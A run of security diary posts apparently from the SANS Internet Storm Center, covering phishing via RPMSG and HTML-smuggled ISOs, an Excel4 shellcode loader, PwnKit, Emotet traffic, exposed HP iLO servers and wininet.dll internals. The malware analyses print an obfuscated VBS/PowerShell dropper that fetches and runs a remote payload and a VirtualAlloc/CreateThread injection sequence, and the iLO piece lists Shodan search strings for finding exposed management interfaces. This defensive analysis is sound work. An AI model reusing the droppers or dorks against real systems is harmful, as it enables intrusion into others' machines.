Not many people are aware of “.rpmsg” files. The file extension means “restricted-permission message”. They are used to deliver email messages between people and implement some controls applied at the recipient side. Such permissions are, by example, the right to forward or copy the original email. You may compare this to some kind of “DRM” (Digital Rights Management) for emails. RPMSG files are used inside a Microsoft ecosystem because they are created by users of Azure Information Protection, or Active Directory Rights Management Services[1]. The file is encrypted and only the recipient will be able to decrypt and open the message.

The good news for users, this is pretty transparent because Outlook will automatically open RPMSG files for you and display it. The are delivered as attachment with the following MIME type:

Content-Type: application/x-microsoft-rpmsg-message

I was aware of phishing campaigns that implement this type of file to deliver malicious content to the victim. Because RPMSG files are handled by Microsoft tools, the sender of the email must have a valid Microsoft account and be able to send messages to the potential victim. This means that such attacks are targeted and imply the use of a compromised account.

I did a retro-hunt on virustotal.com and searched for files containing this MIME-type and found 819 matches across the last 90 days. Most files were dump of email messages. 

Why use RPMSG files? Probably to defeat most of the classic security controls and make the email trusted. The phishing content is stored inside the protected message. If you don't use RPMSG with 3rd party organizations on a regular basis, it could be interesting to have a look at such kind of messages...

[1] https://docs.microsoft.com/en-us/azure/information-protection/rms-client/client-view-use-files#messagerpmsg-as-an-email-attachment

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

YARA release candidate 1 for version 4.2.0 introduces a new module: console.

This module features functions to output values to the console. This can be used to debug your YARA rules.

Take this rule for example, it should detect files that start with string MZ (0X4D5A), but it does not trigger on a PE file like yara32.exe:

We can now use module console, to print out the value of uint16(0) and try to figure out what is going wrong:

The output is 0x5a4d, and thus is does not match 0x4D5A. That's because uint16 is a little-endian function. Thus we need to test for MZ in little-endian format (0x5a4d):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

My first exposure to a SIEM in 2001 was netForensics followed by Intellitactics (2002) which was eventually purchase by Trustwave but since then, many new products have come to market.

Security Information and Event Management (SIEM) have been around for 20+ years now, where their evolution has gone from simply collecting and centralizing as a repository of logs. Today they have become more complex with the inclusion of Security, Orchestration, Automation and Response (SOAR) [1] with a large component of threat intel information. Some of my previous articles on SIEM [2][3] are dated but I think some of it still hold true, like being swamped by huge amount of structured and unstructured data, of this data, there is still a large amount left untouched and unanalyzed.

It is obviously a good thing to centralize logs but over time, it didn't always deliver on detecting and reacting in time against modern threats. What the legacy SIEM have in common is their inability to accurately identify incidents, they drown security teams by generating an overwhelming number of alerts that "logjam" both the SIEM and analysts.

One of the main issues is that each network behaves differently and it takes time to configure the SIEM to understand the local environment, collect the right telemetry & context and configure the use cases [2] to respond and alert for the events that matters the most. Even then, it is important to review them regularly to make sure the goals haven't changed over time.

Over time, the market has changed by incorporating new features such as SOAR that include the additional context needed to make accurate assessment on each alert and include machine learning like User and Entity Behavior Analytics (UEBA) to accelerate identification of suspicious activity. This kind of automation is helping analysts to execute preconfigure automation tasks (playbooks) between various groups and tools. 

If you have identified a SIEM that meet your goals, what is it that made it better in managing incidents? 
Do you prefer storing structured or unstructured data and why?

[1] https://isc.sans.edu/forums/diary/SOAR+or+not+to+SOAR/25808/
[2] https://isc.sans.edu/forums/diary/Mapping+Use+Cases+to+Logs+Which+Logs+are+the+Most+Important+to+Collect/22526/
[3] https://isc.sans.edu/forums/diary/Business+Value+in+Big+Data/19727/
[4] https://www.sans.org/white-papers/408/ (netForensics)
[5] https://www.trustwave.com/en-us/company/newsroom/news/trustwave-acquires-intellitactics/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

I spotted an interesting phishing email. As usual, the message was delivered with a malicious attachment that is a simple HTML page called “Order_Receipt.html” (SHA256:a0989ec9ad1b74c5e8dedca4a02dcbb06abdd86ec05d1712bfc560bf209e3b39) with a low VT score of 5/59[1]! This is a text file and, therefore, looks less suspicious. When the page is opened in the victim's browser, it displays a simple message and offers the victim to download an ISO file:

The beginning of the page is filled with junk text that is not displayed:

<center>
<p> <p style='display:none;font-size:0px;'>In modern times a starter can hard
...

Probably to defeat basic security controls that check only the very beginning of files. The ISO file is embedded in a Javascript function and is, as usual, Base64-encoded. Once decoded, the payload (SHA256:7c1aac4e785f82b997cf5252925c90252c1af1262283b5edbf7f4113c74e251e) has a VT score of 10/55[2]. It’s interesting to see that the HTML file is brand new but the ISO file is already 2 months old! (based on VT results)

Most Windows systems today are able to open ISO files without extra software but this one is not formatted in NTFS and can’t be mounted by a stock Windows 10:

Once mounted, the ISO file discloses only one file: a VBS script:

remnux@remnux:/MalwareZoo/20220127$ sudo mount -o ro APVSTYS43574.iso /tmp/iso
remnux@remnux:/MalwareZoo/20220127$ ll /tmp/iso
total 23
dr-xr-xr-x  1 root root  2048 Nov 12 10:15 ./
drwxrwxrwt 24 root root 20480 Jan 27 15:31 ../
-r-xr-xr-x  1 root root   807 Nov 12 10:15 APVSTYS43574.vbs*

The VBS script (SHA256:ddb517300a9f93fad769e003cb9d3cfeb66231c1ff8a359ff39ddb2c07ff10e7) is unknown on VT. It is obfuscated but easy to decode:

AOKO = ("t.S")
KITK = ("p"+AOKO+"h")
OEWM = ("i"+KITK+"el")
VURQ = ("Scr")
Set RCLD = CreateObject("W"+VURQ+OEWM+"l")
ZCZI = "mm"
HBMV = "pow"
MNGZ = "ell"
VADV = "sh"
VEIF = " -Co"
OLMG = "er"
OQGT = "and "
UYFU = "[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname"
JNUZ = "((New-Object Net.WebClient),'Dow^!loadStri^!g'.replace('^!','n'),[Microsoft.VisualBasic.CallType]::Method,"
VORR = "'++++++++++++++++++++++++###################'.Replace('++++++++++++++++++++++++','https://cozumrekla').Replace('###################','mkayseri.com/.Fainl.txt')"
WJKC = ")|IEX;[Byte[]]"
OLHB = "$f=[Microsoft.VisualBasic.Interaction]::CallByname"
RCLD.Run HBMV+OLMG+VADV+MNGZ+VEIF+ZCZI+OQGT+UYFU+JNUZ+VORR+WJKC+OLHB,0

It's pretty easy to understand: A mix of small strings is concatenated and others are replaced. The VBS script tries to download the next stage from hxxps://cozumreklamkayseri[.]com/.Fainl.txt. But the site is down. I found the last known IP address thanks to passive DNS services. But the site does not serve the malicious payload anymore...

A pretty nice example of a message that can still bypass many controls today... 

[1] https://www.virustotal.com/gui/file/a0989ec9ad1b74c5e8dedca4a02dcbb6abdd86ec05d1712bfc560bf209e3b39/details
[2] https://www.virustotal.com/gui/file/7c1aac4e785f82b997cf5252925c90252c1af1262283b5edbf7f4113c74e251e/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Trying something a bit new here. Please let me know if this works for you.

Yesterday, Apple released security updates across its spectrum of operating systems. Apple tends to release these updates all at the same time. Targeting more enthusiasts and home users with its products, Apple is missing a lot of the details that commercial/enterprise users are looking for. The table below is an attempt to help you out a bit in identifying which vulnerabilities affect which operating system, and how severe they are.

There is no option to pick and choose which vulnerabilities to fix. 

Noteworthy Vulnerabilities:

CVE-2022-22587: The vulnerability has already been exploited in the wild.
CVE-2022-22594: IndexDB same original policy violation. This vulnerability has been public for at least a week.

To indicate severity, I labeled vulnerabilities as:

Critical (red): Remote code execution (includes vulnerabilities that require a file download)

Important (yellow): Privilege Escalation

Other (blue): Security Feature Bypass

 

Safari	Catalina	BigSur	Monterey	tvOS	iOS	iPadOS	watchOS
CVE-2022-22590 [critical] WebKit A use after free issue was addressed with improved memory management. Processing maliciously crafted web content may lead to arbitrary code execution
x			x	x	x	x	x
CVE-2022-22592 [other] WebKit A logic issue was addressed with improved state management. Processing maliciously crafted web content may prevent Content Security Policy from being enforced
x			x	x	x	x	x
CVE-2022-22589 [critical] WebKit A validation issue was addressed with improved input sanitization. Processing a maliciously crafted mail message may lead to running arbitrary javascript
x			x	x	x	x	x
CVE-2022-22594 [critical] WebKit Storage A cross-origin issue in the IndexDB API was addressed with improved input validation. A website may be able to track sensitive user information
CVE-2022-22593 [important] Kernel A buffer overflow issue was addressed with improved memory handling. A malicious application may be able to execute arbitrary code with kernel privileges
	x	x	x	x	x	x	x
CVE-2022-22579 [critical] Model I/O An information disclosure issue was addressed with improved state management. Processing a maliciously crafted STL file may lead to unexpected application termination or arbitrary code execution
	x	x	x	x	x	x
CVE-2022-22583 [important] PackageKit A permissions issue was addressed with improved validation. An application may be able to access restricted files
	x	x	x
CVE-2021-30946 [other] Sandbox A logic issue was addressed with improved restrictions. A malicious application may be able to bypass certain Privacy preferences
	x
CVE-2021-30960 [important] Audio A buffer overflow issue was addressed with improved memory handling. Parsing a maliciously crafted audio file may lead to the disclosure of user information
		x
CVE-2022-22585 [other] iCloud An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. An application may be able to access a user's files
		x	x	x	x	x	x
CVE-2022-22587 [important] IOMobileFrameBuffer A memory corruption issue was addressed with improved input validation. A malicious application may be able to execute arbitrary code with kernel privileges. Apple is aware of a report that this issue may have been actively exploited.
		x	x		x	x
CVE-2022-22586 [important] AMD Kernel An out-of-bounds write issue was addressed with improved bounds checking. A malicious application may be able to execute arbitrary code with kernel privileges
			x
CVE-2022-22584 [critical] ColorSync A memory corruption issue was addressed with improved validation. Processing a maliciously crafted file may lead to arbitrary code execution
			x	x	x	x	x
CVE-2022-22578 [important] Crash Reporter A logic issue was addressed with improved validation. A malicious application may be able to gain root privileges
			x	x	x	x	x
CVE-2022-22591 [important] Intel Graphics Driver A memory corruption issue was addressed with improved memory handling. A malicious application may be able to execute arbitrary code with kernel privileges
			x

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Integrated Lights-Out (iLO) is a low-level server management system intended for out-of-band configuration, which is embedded by Hewlett-Packard Enterprise on some of their servers[1]. Besides its use for maintenance, it is often used by administrators for an emergency access to the server when everything "above it" (hypervisor or OS) fails and/or is unreachable. Since these kinds of platforms/interfaces are quite sensitive from the security standpoint, access to them should always be limited to relevant administrator groups only and their firmware should always be kept up to date.

About a month ago, I came across an analysis of interesting rootkit, which “hid” in the iLO platform[2]. This enabled it to interact with the infected system on a very low level. Since the iLO offers a web-based interface and the text of the analysis also made an allusion to multiple vulnerabilities that were historically discovered in it, it got me thinking on less sophisticated attacks that might target the platform. If remote attackers were able to get access to an iLO, they would basically have full control over the target server. This would certainly pose an issue on local networks, but would be much worse if any iLOs were accessible online and attackers might compromise them over the internet.

Given the aforementioned sensitivity of this interface, you wouldn’t steal a car…I mean expose your iLO to the internet, would you? Especially if HP explicitly says not to do so in their official documentation…[3]

Unfortunately, it seems that a not insignificant number of IT specialists were less security-minded than was optimal and decided they would (expose iLOs on their servers to the internet, that is, not steal a car… I hope).

But back to the beginning.

To determine whether any iLOs were "out there", I first looked for an image of the iLO login page (Google Image search for “ilo login page” returned plenty of relevant results) and then constructed the following search string which I thought might give me some idea of whether Google indexed any such pages.

ilo proliant "local user name" "password"

To my surprise, this search yielded over 24 thousand results.

A quick glance through the results seemed to indicate that they really represented internet-exposed iLOs, however the number seemed to be excessive to me, so I turned to Shodan for a “second opinion”.

In simple terms, Shodan periodically scans the entire public IP space for open ports, gathers data returned on those ports, and enables one to search through it in multiple different ways. This gives one a lot of data to play with, but since Shodan does not (primarily) index contents of websites, searching through it is usually not as straightforward as using Google.

After some initial trial and error, I ended up using mainly appropriate favicon hashes[4] in order to identify publicly exposed iLOs. I’ve managed to identify 5 different favicons that were used by different iterations of iLO (version 2 to the most current version 5) over the years, and an additional search string that would lead to only iLO version 1 results being returned by Shodan. Having covered all main iLO versions, I calculated MurmurHashes[5] for all of favicons, constructed relevant search strings and eliminated false-positives as best I could (you may find the resulting search strings near the end of this article). After I summed up all the results, they came to 22,120 public IPs.

It seemed that Google was not as far of the mark as I had hoped… And a further look at some of the identified FW version numbers made the situation seem even grimmer.

As we alredy mentioned, the HP Integrated Lights-Out platform has gone through 5 different iterations over the years (iLO, iLO 2, iLO3, iLO 4 and iLO 5). And, over time, multiple vulnerabilities were identified and patched in each of them[6]. Some of these vulnerabilities had fairly high CVSS scores, such as the 9.8 rated CVE-2017-12542[7] – a trivial-to-exploit authentication bypass that affected iLO 4 before firmware version 2.53[8].

Yet, the previously mentioned Shodan searches revealed a significant number of iLO 4s with (sometimes much) lower FW version numbers… And the situation was fairly similar for other vulnerabilities as well.

Overall, Shodan searches that I originally ran about two weeks ago returned the following numbers for different iLO iterations:

iLO 1	84
iLO 2	567
iLO 3, 4 and 5 (the most common favicon is used in all 3 iLO versions)	21,469

Given the number of internet-exposed iLO interfaces I managed to find, many of which were running out of date/vulnerable versions of firmware (and none of which should be directly accessible from the internet in the first place, since the exposure alone goes against good industry practice and introduces unnecessary risk), I’ve decided to let the international CSIRT community know about my findings before I published them here. About two weeks back, I sent an e-mail to all full member teams of FIRST and TF-CSIRT with the description of the issue and a list of Shodan “dorks” that they might use to check for exposed iLOs in their own constituencies.

It seems that this effort bore at least some fruit since the number of iLOs detected by Shodan has fallen somewhat in the meantime. The number of results returned by Shodan for the same searches at the time of writing is as follows.

iLO 1	83
iLO 2	529
iLO 3, 4 and 5 (the most common favicon is used in all 3 iLO versions)	20,911

Although January has not ended yet and the data on which Shodan computes trends might therefore not be complete, a small decrease in the number of iLOs in which the most common favicon is used can already be seen from the trend chart as well.

We can only hope that this trend continues in the future...

One further point which deserves a mention is the geographic distribution of identified iLOs. As you may see in the following chart, that shows 20 countries in which the most common iLO favicon was detected the highest number of times, the largest number of identified systems was in the United States, though it was not much higher than in the Netherlands or Russia. Although the inclusion of Netherlands at the top of the chart might look strange, since it has historically been one of the datacenter capitals of Europe[9], the high numbers do certainly make at least some sense. 

If you would like to check whether your own public IP ranges hide any iLOs, you may use the following search strings along with the “net” operator (e.g.: “http.favicon.hash:958636481 net:192.168.1.0/24”). The third search returns 4 systems other than iLOs globally at the time of writing, all others should be false-positive-free):

• iLO 3, 4 and 5:

http.favicon.hash:2059618623

• iLO 3 and 4:

http.favicon.hash:-685753388

• iLO 4:

http.favicon.hash:-1912577989 -http.html:"Hi, I am ON from" -http.title:"latex"

• iLO 3

http.favicon.hash:958636481

• iLO 2:

http.favicon.hash:178882658

• iLO 1:

http.title:"HP Integrated Lights-Out" -http.title:"Integrated Lights-Out 2"

If you do discover any exposed iLOs in your public IP space, make sure to secure them. Otherwise, the slightly poetic name „Lights-Out“ might take on its literal meaning for your servers… 

At a minimum, placing the iLO in a special VLAN with controlled access, and allowing remote access only over a VPN would certainly be a good start. But since I wanted to share some more detailed recommendations as well, I’ve reached out to the HP/HPE PSIRT and asked them for some. They responded with the following recommendation:

HPE recommends that customers follow the iLO security guidelines published at the following links:
 - HPE Integrated Lights-Out (iLO) - Implementing Security Best Practices to Protect the iLO Management Interface
https://support.hpe.com/hpesc/public/docDisplay?docId=a00046959en_us&docLocale=en_US
 - HPE iLO 5 Security Technology Brief
https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=a00026171en_us

If you have any HP servers with iLOs in your infrastructure, following the preceding recommendations would certainly be advisable...

Unfortunately, iLOs are only a top of the proverbial iceberg and even if we were able to make sure that all HP iLO interfaces disappeared from the internet, I’m quite sure that many other, similarly sensitive configuration interfaces would remain exposed. But if we want to change that, we have to start somewhere… And this is certainly not a bad place to start from.

[1] https://en.wikipedia.org/wiki/HP_Integrated_Lights-Out
[2] https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/
[3] https://support.hpe.com/hpesc/public/docDisplay?docId=a00046959en_us&docLocale=en_US
[4] https://isc.sans.edu/forums/diary/Hunting+phishing+websites+with+favicon+hashes/27326/
[5] https://en.wikipedia.org/wiki/MurmurHash
[6] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Integrated+Lights-Out
[7] https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-hpesbhf03769en_us
[8] https://www.bleepingcomputer.com/news/security/you-can-bypass-authentication-on-hpe-ilo4-servers-with-29-a-characters/
[9] https://www.dutchdatacenters.nl/en/nieuws/dutchdatacenters2019-2/

-----------
Jan Kopriva
@jk0pr

Researchers from Qualys today published an advisory about a local privilege escalation vulnerability in the pkexec tool, that is installed as part of the Polkit (formerly PolicyKit) package.

This package is used for controlling system-wide privileges. The pkexec tool, which is a command line tool, is used to define which authorized user can execute a program as another user. As such, this is a critical tool and, due to requirement to control such privileges is installed as a SUID binary, as shown below:

$ ls -l /usr/bin/pkexec 
-rwsr-xr-x 1 root root 31032 May 26  2021 /usr/bin/pkexec

As such, this is, of course, a prime target for an attacker. Qualys researchers posted a detailed blog post at https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

Now, there are three scary things about this vulnerability:

1. It has been around for 12+ years (!!!) since it was introduced in a commit to pkexec in May 2009
2. The affected version of pkexec is installed with all popular Linux distributions: Ubuntu, Debian, Fedora and CentOS
3. It is very simple to create the exploit, and it works 100% reliable

Did I say it’s simple to create the exploit? I successfully recreated it, as shown in the figure below, where it is executed on a fully patched Ubuntu 20.04 system – before the polkit patches being installed (which are luckily already out):

We expect that the exploit will become public soon and that attackers will start exploiting it – this is especially dangerous for any multi-user system that allows shell access to users.

Since most major distributions already released patches, the best option now is to install the patches. Of course, you’ll need to do it on all systems. If you cannot, or if there are no patches available, you can prevent the vulnerability from being exploited by removing the SUID bit from the pkexec tool; just make sure that you are not breaking anything.

Finally, for those blue teamers, the exploit will create the following system log, which was on my Ubuntu box in the auth.log file:

Jan 25 21:53:27 ubuntu pkexec[6999]: infigo: The value for the SHELL variable was not found the /etc/shells file [USER=root] [TTY=/dev/pts/1] [CWD=/home/infigo/exploit] [COMMAND=<redacted>]

As Qualys also noted, the first part (highlighted above) can be used for alerting, but keep in mind that it is possible to exploit the vulnerability without the log above being generated.

--
Bojan
@bojanz
INFIGO IS

Introduction

Last week, I wrote a diary about Emotet using 0.0.0.0 in its spambot traffic instead of the actual IP address of the infected Windows host (link).

Shortly after that diary, Emotet changed from using 0.0.0.0 to using the victim's IP address, but with the octet values listed in reverse order.

Details

During a recent Emotet infection on Tuesday 2022-01-24, my infected Windows host was using 173.66.46.112 as its source IP.  Note that my source IP has been edited for this diary to sanitize/disguise the actual IP address.  See the image below for DNS traffic representing a possible spam blocklist check by my infected Windows host.  In other malware families like Trickbot, the octet order is reversed.  But order is not reversed for this Emotet infection.

Shown above:  Possibly spam blocklist check by my Emotet-infected host on Tuesday 2022-01-24.

As seen in the above image, the following DNS queries were made:

• 173.66.46.112spam.abuse.ch
• 173.66.46.112.b.barracudacentral.org
• 173.66.46.112.bl.mailspike.net
• 173.66.46.112.spam.dnsbl.sorbs.net
• 173.66.46.112.zen.spamhaus.org

Again, I normally see the octet order reversed with other malware like Trickbot.  This reversed order also appeared during SMTP traffic with the command ELHO [112.46.66.173] as shown below.

Shown above:  Victim IP address in Emotet spambot traffic on Tuesday 2022-01-24.

Twitter discussion for last week's diary indicates Emotet developers may have broken something in the spambot module to produce the previous 0.0.0.0 traffic.  I'm not sure if this new traffic--the reversed order of the victim's IP address--is intentional or not.

Final words

You can find up-to-date indicators for Emotet malware samples, URLs, and C2 IP addresses at:

• https://urlhaus.abuse.ch/browse/tag/emotet/
• https://feodotracker.abuse.ch/browse/emotet/
• https://bazaar.abuse.ch/browse/tag/Emotet/
• https://threatfox.abuse.ch/browse/malware/win.emotet/

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Yesterday, Nick, one of our readers, shared with us a very interesting Excel sheet and asked us to check if it was malicious. Guess what? Of course, it was and he accepted to be mentioned in a diary. Thanks to him! This time, we also have the context and how the file was used. It was delivered to the victim and this person was called beforehand to make it more confident with the file. A perfect example of social engineering attack. The Excel sheet contains details of a real-estate project. The Excel sheet is called "Penthouse_8271.xls" and, once opened, you see this:

The real-estate agency mentioned in the sheet exists and is established in Austria. When I receive a suspicious file like this one, I'm always starting with automated tools to speed up the analysis but this time, it did not work. To analyze VBA macros, one of my favorite tools is Vipermonkey but it almost crashed my REMnux environment, using a lot of memory. Let's revert to manual analysis. Some quick findings: The macro is heavily obfuscated, the code is populated with a lot of empty functions and comments. The macro does have the classic AutoOpen() function to automatically execute it. But we have these functions:

Sub info()
  Tabelle1.Visible = True
  Tabelle1.Activate
  boop
End Sub

Sub beschreibung()
  Tabelle2.Visible = True
  Tabelle2.Activate
  boop
End Sub

Sub grundriss()
  Tabelle3.Visible = True
  Tabelle3.Activate
  boop
End Sub

Sub haftung()
  Tabelle5.Visible = True
  Tabelle5.Activate
  boop
End Sub

You see that the function names correspond to the button seen in the picture above. The malicious code is located in boop() and will be triggered when the user clicks on a button. Let's click on "Penthouse Overview":

Note: this is a nice trick to defeat most of the Sandboxes because a user's interaction is required.

Legit information is displayed and the macro executed. Let's have a look at the code:

Sub boop()
  SuperintendAuthors = Array()
  SuperintendAuthors = LongPleasures(SuperintendAuthors,
ObtainedAncient("140000888e050094095b80e037e3000ac400f32308f044900eb00046500009e3f0bc0f40090e2b4290808e27008feea" & _
"0b00040090e010009c2e58bc8213e910ac790c20051a819c21f150b01e465b126ec9b9e5ee08050ab40700bcc0c00803c118001d90fcf90ff8ff5bf" & _
"ee11f51229d88f1e51fb121c8c926120c90e0c0a200fuopurr0wdbhjdb"))
SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("148e5e150510c90080d80f0f00ff8ff50200492e08059009a007ec9000ce94000204c0be90b1e8059e0c285e08353d260800914110" & _
"ebbc91ec0c4108b1e3e0e85080090b00979040fea180fcaebcc0509c1d0109000ee900002a" & _
"d6000835e30f747503217027b0a8014c11f126188044708fa174164103816408510964109f001" & _
"lwppbij1cjpchuk"))
SuperintendAuthors = LongPleasures(SuperintendAuthors, ObtainedAncient("14e010b96ca0090b0bffb5d03ea1f57f0e810a5690e5006ff3ccb77ffffc1fcc7e0c00619191001c6000009ec8530eb84000cc50071b" & _
"080588bc470055ceb5598818829d181e20c8909ec8700898b0008c9028ebb872ee0f764" & _
"b51e0829305ba3baee800b50f084103a0b00017c5010fec0d1ca31af1b8c04f0d0ebf3530b1c85tcquttu4jpgotwt"))

Pretty nice obfuscation! Multiple functions are called to decode all strings and finally, the following one is called. It reveals the technique used:

Function SpecialLeaving(OverDesire As String)
  SpecialLeaving = ExecuteExcel4Macro(OverDesire)
End Function

The ExecuteExcel4Macro() is a VBA function to execute an Excel4 function[1]. Because we don't have an Excel4 macro split in cells, the classic deobfuscation tools won't work. To spread up the analysis, I added the following code to the macro:

Sub DumpExcel4(buffer as String)
   Dim outout As String
   output = "C:\temp\debug.txt" 
   Open output For Append As #1
   Write #1, buffer
   Close #1
End Sub
Function SpecialLeaving(OverDesire As String)
  DumpExcel4(OverDesire)
  SpecialLeaving = ExecuteExcel4Macro(OverDesire) 
End Function

This dumped all Excel4 functions into a flat-file. Once the macro has been executed in my lab, I got a nice debug.txt file:

"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",4096,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",8192,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",12288,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",16384,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",20480,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",24576,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",28672,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",32768,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",36864,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",40960,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",45056,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",49152,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",53248,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",57344,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",61440,15992,12288,64)"
"CALL(""Kernel32"",""VirtualAlloc"",""JJJJJ"",65536,15992,12288,64)"
"CALL(""ntdll"",""memset"",""JJJJ"",65536,232, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65537,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65538,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65539,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65540,0, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65541,89, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65542,72, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65543,131, 1)"
"CALL(""ntdll"",""memset"",""JJJJ"",65544,233, 1)"

We see that some memory is allocated. The last parameter of VirtualAlloc() is 64 (0x40) which means that memory is created with the PAGE_EXECUTE_READWRITE flag (to contain executable code). Then, the payload is moved into memory byte per byte with a very long series of memset(). Finally, the payload is executed on the last line:

"CALL(""Kernel32"",""CreateThread"",""JJJJJJB"",0,0,65536,0,0,0)"

The macro dumped 16009 lines in the file! Now, we can extract the payload:

remnux@remnux:/MalwareZoo/20220121$ grep memset debug.txt | awk -F ',' '{print $5}'|sets.py join ","

The result is a suite of characters:

232,0,0,0,0,89,72,131,233,5,186,120,62,0,0,51,192,64,144,15,132,79,36,0,0,233,107,5,0,0,252,233,63,...

The fastest way to decode this is to use Cyberchef with a simple recipe "From Decimal". I did a quick analysis of the shellcode. It connects to acrobatrelay[.]com but I don't have all the features at this time, still under investigation...

[1] https://docs.microsoft.com/en-us/office/vba/api/excel.application.executeexcel4macro

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The Internet Storm Center relies on a group of Handlers[1] who are volunteers and offer some free time to the community besides our daily job. Sometimes, we share information between us about an incident or a problem that we are facing and ask for help. Indeed, why not request some help from fellow Handlers with broad experience? Yesterday, Bojan was involved in an incident with a customer and came back to us with this question:

"Did you already see this long list of domain names listed in C:\Windows\SysWOW64\wininet.dll on Windows 10?"

$ strings -e l wininet.dll | egrep 'hr\.'
hr.com.eujuicers
hr.global
hr.prvikvadrat
hr.ak-varazdin
hr.stin
hr.pizzeriaamadeus
hr.silvergoldbull
hr.maskice
hr.perzeidi
hr.udruga-point
hr.tokic
hr.advance
hr.com.airbnb
hr.svijet-medija
hr.autoskole
hr.kub
hr.slink
hr.com.cevo
hr.mall
hr.autoskola
hr.blablacar
hr.abpis
hr.audion
hr.from.brunohenc
hr.orkestar-krizevci
...

Immediately, other handlers started to check in their own labs and reported the same finding. Bojan, based in Croatia searched for the ".hr" TLD. I searched for ".be":

$ strings -e l wininet.dll |grep "be\."
be.slimmerbouwen
be.fanjoe
be.buderus-family
be.loanstreet
be.de-spil
be.maximdeboiserie
be.intux
be.lafosseobservatoire
be.rubendv
be.rigartmichael
be.eliott
be.pgtb
be.kgm-irm
be.psncardplus
be.carroarmato0
be.poollicht
be.mths
be.nord-sud
be.centralpoint
...

Guy did the same test and reported that his copy of the DLL has 47881 Unicode strings! We tested several Windows 10 systems and all of them had the same kind of strings in wininet.dll, so Bojan's one was not compromised.

What is this DLL? wininet or "Win32 Internet Extensions" is used to allow programs to interact with the Internet. It provides well-known API calls like:

InternetOpenURL
InternetReadFile
HTTPOpenRequest

You can imagine that it's being used by a lot of processes and applications. Note that you can list which processes loaded a specific DLL with the following command:

C:\Users\REM>tasklist /m wininet.dll

Image Name                     PID Modules
========================= ======== ============================================
taskhostw.exe                 4576 wininet.dll
explorer.exe                  4964 WININET.dll
ShellExperienceHost.exe       4004 WININET.dll
SearchUI.exe                  4368 WININET.dll
RuntimeBroker.exe             5192 WININET.dll
Fiddler.exe                   7048 WININET.dll
WinStore.App.exe              2036 WININET.dll
RuntimeBroker.exe               64 WININET.dll

Let's come back to the list of suspicious domains. What did we find? There are domains from many different TLDs. Some belong to small companies, others belong to big players within different domains of activity, and no relation between them. What we found is that many of them appear to be preloaded HSTS domains. The Chrome browser does this and has a hardcoded list of domains sites as being HTTPS only[3]. Does Microsoft implement the same within wininet.dll?

Our next step was to start debugging the DLL to learn more about these domains. They are passed to a function called IsHostInBlocklist(), which is in turn called from two separate locations CServerInfo::DetermineStrongCryptoState(), and CServerInfo::DetermineFalseStartState().

This function IsHostInBlockList() is used by interesting API calls but through a deep list of functions:

At this time, we are still investigating and trying to understand the purpose of those hardcoded domains and functions. They are listed in the DLL symbols[4] but no documentation was found. If you have more information, or if you are working for Microsoft, please share your findings with us!

[Update 1]

Benjamin Delpy[5] contacted us to give some information. The DLL has two lists of domains:

• A list of domains that ask for an SSL connection by default (tested through the function DetermineStrongCryptoStart())
• A list of domains that are not compatible with TLS False Start[6] (tested with DetermineFalseStartState())

According to Benjamin, the goal of  IsHostInBlockList() changed with time but Microsoft kept the name.

[1] https://isc.sans.edu/handler_list.html
[2] https://docs.microsoft.com/en-us/cpp/mfc/win32-internet-extensions-wininet?view=msvc-170
[3] https://hstspreload.org/
[4] https://lise.pnfsoftware.com/winpdb/8B274E3115F9D58AB6E0DCF4CA336C86E4E1866AE7E801860B5F2876FAE48E24-wininet.html
[5] https://twitter.com/gentilkiwi
[6] https://tools.ietf.org/id/draft-bmoeller-tls-falsestart-00.html

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

